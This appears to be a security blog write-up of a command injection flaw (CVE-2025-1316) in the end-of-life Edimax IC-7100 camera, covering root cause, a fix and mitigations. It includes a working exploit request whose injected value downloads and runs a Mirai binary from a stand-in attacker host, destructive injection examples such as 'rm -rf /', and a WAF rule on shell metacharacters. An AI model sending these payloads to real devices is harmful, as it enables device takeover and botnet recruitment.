Return of the Living Dead: Edimax IC-7100 Command Injection (CVE-2025-1316)

There is a special place in security hell for End-of-Life (EoL) IoT devices. They sit in dusty corners of server rooms or mountings high up on warehouse ceilings, blinking away, serving video streams, and—more often than not—mining crypto or launching DDoS attacks for someone in a non-extradition country. The Edimax IC-7100 is the latest poster child for this phenomenon.

This device is old. It’s essentially abandoned. Yet, in March 2025, CISA added it to the Known Exploited Vulnerabilities (KEV) catalog. Why? Because Akamai SIRT discovered that Mirai-based botnets have been feasting on these cameras since at least May 2024. Ten months of unmitigated access before the CVE even dropped.

The component at fault is the web management interface, specifically the CGI scripts that handle configuration. It’s the classic story: a device designed in an era where 'security' meant 'obscurity', now facing the automated wrath of modern botnets. It’s not complex, it’s not sophisticated, but it is absolutely devastating.

The vulnerability (CWE-78) lives in /camera-cgi/admin/param.cgi. This endpoint is responsible for updating various device settings, including the Network Time Protocol (NTP) server address. When a user (or a bot) submits a request to change the NTP server, the device takes that input and, presumably, passes it to a system command to synchronize time.

The fatal flaw is a complete lack of input neutralization. The developers likely used a dangerous C-function like system() or popen() to construct a shell command string by concatenating the user input directly with the command. They expected a hostname like pool.ntp.org. They didn't anticipate—or didn't care about—someone sending pool.ntp.org; rm -rf /.

Because the underlying operating system treats the semicolon ; (or pipe |, or ampersand &) as a command separator, the shell dutifully executes the time sync, finishes it, and then immediately executes whatever nightmare logic the attacker appended. It’s the digital equivalent of signing a guestbook with your name, followed by "PS: Give me the deed to your house."

Since this is closed-source firmware and the vendor has ghosted the security community, we don't have the official source diffs. However, based on the behavior, we can reconstruct the vulnerable logic with high confidence. This is the 'Hello World' of embedded exploitation.

The Vulnerable Pattern

In a typical embedded Linux CGI application written in C, the code likely looks something like this:

char cmd[256];
char *ntp_server = get_param("NTP_serverName");
 
// 🚨 VULNERABILITY: Direct string concatenation without sanitization
sprintf(cmd, "/usr/sbin/ntpdate %s", ntp_server);
 
// Execute the command as root
system(cmd);

If ntp_server contains pool.ntp.org; reboot, the cmd buffer becomes /usr/sbin/ntpdate pool.ntp.org; reboot. The shell sees two distinct commands and runs both.

The Missing Fix

If Edimax were to patch this (they won't), the fix would involve avoiding the shell entirely or strictly allowing only alphanumeric characters. The 'Correct' approach is using execve() which treats arguments as data, not code:

// ✅ SECURE: Arguments are separated, shell meta-chars are ignored
char *args[] = {"/usr/sbin/ntpdate", ntp_server, NULL};
execve("/usr/sbin/ntpdate", args, env);

Alternatively, a rigorous input validation function should reject any input containing ;, |, &, $, or backticks before it ever reaches the command construction logic.

Exploiting this requires zero tools beyond curl or a web browser. The target is the NTP_serverName parameter. The attack vector is trivial and often does not even require authentication if the device is in a default state or if the CGI parsing logic is loose.

The Attack Chain

1. Target: http://<victim-ip>/camera-cgi/admin/param.cgi
2. Action: set (tells the CGI to update config)
3. Payload: We need to break out of the NTP command. We use ; as a separator. We then inject a download cradle to fetch a payload.

GET /camera-cgi/admin/param.cgi?action=set&NTP_serverName=pool.ntp.org;cd+/tmp;wget+http://attacker.com/bins/mirai.mips+-O+dvrHelper;chmod+777+dvrHelper;./dvrHelper; HTTP/1.1
Host: 192.168.1.100

Why It Works

• pool.ntp.org: Satisfies the legitimate ntpdate command so it doesn't error out immediately.
• ;: The separator. The shell thinks the first command is done.
• cd /tmp: Moves to a writable directory (essential on read-only filesystems).
• wget ...: Downloads the malicious binary. Note the use of + for spaces in the URL encoding.
• | sh: Alternatively, attackers pipe a script directly into sh to avoid writing to disk at all.

Botnets are automating this by scanning the entire IPv4 space. If you put this camera on the internet, it will be compromised within minutes.

Why does this matter? It's just a camera, right? Wrong. It's a Linux server with an internet connection. Most of these devices run their web server as root. This means the injected command runs with the highest possible privileges.

Immediate Consequences:

• Full System Compromise: The attacker has total control. They can view the video feed, listen to audio, or use the device as a pivot point to attack other devices on the internal network (Lateral Movement).
• Botnet Recruitment: This is the primary driver. The device is enlisted into a swarm (like Mirai or Moobot) to launch massive DDoS attacks against high-profile targets.
• Persistence: While a reboot might clear memory-resident malware, sophisticated attackers can write to the flash storage (NVRAM) or modify startup scripts (init.d) to ensure they survive a power cycle.

For an enterprise, having one of these on the guest Wi-Fi is bad. Having one on the internal security VLAN is a resume-generating event.

This is the grim reality of legacy IoT. Edimax has not released a patch and the device is End-of-Life. There is no software update coming to save you.

Option A (Recommended): Locate the device. Physically disconnect it. Walk it to the nearest electronic recycling bin. Drop it in. This is the only way to be 100% secure.

Option B (Desperation): If you are forced to keep this zombie alive for operational reasons, you must treat it like it is already infected.

• Air Gap: It should have absolutely zero access to the internet. No gateway.
• VLAN Isolation: Put it on a VLAN that cannot talk to your main network.
• WAF Rules: If it must be web-accessible (why?), configure a WAF to block any request URL containing ;, |, &, or $( .

Do not wait for a vendor response. The lights are on, but nobody is home.